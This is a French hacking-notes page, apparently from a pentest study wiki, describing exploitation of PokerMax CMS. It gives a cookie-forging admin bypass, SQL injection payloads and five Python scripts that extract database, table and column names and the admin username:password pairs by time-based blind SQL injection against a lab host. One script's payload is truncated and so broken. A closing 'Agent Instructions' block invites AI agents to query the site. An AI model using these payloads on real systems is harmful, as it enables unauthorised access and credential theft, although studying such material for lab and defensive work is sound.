> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/pokermax-cms-exploitation.md).

# PokerMax

**Recherche de vulnérabilités avec Searchsploit**

Après avoir identifié un `pokermax` page web, utilisez Searchsploit pour rechercher d'éventuelles vulnérabilités.

<figure><img src="/files/88e79725c4d2542f3efbc3fe2c3adb1874f74e75" alt=""><figcaption></figcaption></figure>

**Identification du panneau d'authentification administrateur :**

Un panneau d'authentification administrateur est découvert. Un extrait JavaScript dans la console modifie `ValidUserAdmin` en `administrateur`, permettant l'accès à `configure.php` dans pokeradmin.

<figure><img src="/files/970bf33da07f0ee23104f69a9c4a40e884df08bc" alt=""><figcaption></figcaption></figure>

```javascript
javascript:document.cookie = "ValidUserAdmin=admin";
```

<figure><img src="/files/b797fb6a1fd0ac972e5da76e8672057742f19a6b" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/3afdb058e798113cbbb0447419aa32e3ac1bb7d9" alt=""><figcaption></figcaption></figure>

## Vulnérabilité d'injection SQL

**Détection d'une vulnérabilité d'injection SQL :**

<figure><img src="/files/0bb48f289d3e960ea21a3659852462661fa90da6" alt=""><figcaption></figcaption></figure>

#### Identifiez une vulnérabilité d'injection SQL dans l'application web. Utilisez [BurpSuite](/fr/hacking-tools/web/burpsuite.md) pour intercepter le trafic.

<figure><img src="/files/4f9c66049c9075245d125128981dbe35789fbfd8" alt=""><figcaption></figcaption></figure>

#### Découverte du nombre de colonnes avec ORDER BY

```sql
admin' order by 7-- -
```

#### Tentative d'énumération des tables avec UNION SELECT

```sql
admin' union select 1,2,3,4,5,6,7-- -
```

#### Utilisation d'une injection SQL basée sur le temps

```sql
admin' and sleep(5)-- -
admin' and if(substr(database(),1,1)='a',sleep(5),1)-- -
```

<figure><img src="/files/d7bd87ee9d1d2089ff3b32809389f97cd41507e6" alt=""><figcaption></figcaption></figure>

#### Automatisation Python pour extraire le nom de la base de données

```sql
admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Extraction des données :")
    
    for position in range(1, 12):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr(database(),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Injection SQL terminée")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/2df73551679c73659617fcab45d82e1b739f54ed" alt=""><figcaption></figcaption></figure>

#### Automatisation Python pour extraire tous les noms de bases de données

```sql
admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Extraction des données :")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(schema_name) from information_schema.schemata),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Injection SQL terminée")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/8550b04f5ffefb1fd108970a1ac5e1d92dfd17f6" alt=""><figcaption></figcaption></figure>

#### Automatisation Python pour extraire les noms de tables

```sql
admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3
import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Extraction des données :")

    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema='pokerleague'),%d,1)='%s'," % (position, character),
                'password': 'admin'
            }
            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Injection SQL terminée")
    p2.success(data)

if __name__ == '__main__':
    sqli()

```

<figure><img src="/files/97283a752f97bce350d8caa86cd5a1ee4d3e424b" alt=""><figcaption></figcaption></figure>

#### Automatisation Python pour extraire les noms de colonnes

```sql
admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -
```

```sql
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Extraction des données :")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema='pokerleague' and table_name='pokermax_admin'),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()

            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Injection SQL terminée")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/eb26808f4f6e0eae83e66b8141694945bc358749" alt=""><figcaption></figcaption></figure>

#### Automatisation Python pour extraire le contenu des colonnes nom d'utilisateur et mot de passe

```sql
admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -
```

```python
#!/usr/bin/python3

import requests
import signal
import time
import sys
import string
from pwn import *

def def_handler(sig, frame):
    print("/n/n[!] Exiting.../n")
    sys.exit(1)

signal.signal(signal.SIGINT, def_handler)

main_url = "http://192.168.71.142/pokeradmin/index.php"
characters = string.ascii_lowercase + string.digits + ":,_-."
headers = {
    'Content-Type': 'application/x-www-form-urlencoded'
}

def sqli():
    data = ""
    p1 = log.progress("SQLI:")
    p1.status("Démarrage de l'attaque par force brute")
    time.sleep(2)
    p2 = log.progress("Extraction des données :")
    
    for position in range(1, 100):
        for character in characters:
            post_data = {
                'op': 'adminlogin',
                'username': "admin' and if(substr((select group_concat(username,0x3a,password) from pokermax_admin),%d,1)='%s',sleep(0.85),1)-- -" % (position, character),
                'password': 'admin'
            }

            p1.status(post_data['username'])
            time_start = time.time()
            r = requests.post(main_url, data=post_data, headers=headers)
            time_end = time.time()
            if time_end - time_start > 0.85:
                data += character
                p2.status(data)
                break

    p1.success("Injection SQL terminée")
    p2.success(data)

if __name__ == '__main__':
    sqli()
```

<figure><img src="/files/f42b721699162e5442b41ac7893cb0da902a2e89" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/pokermax-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
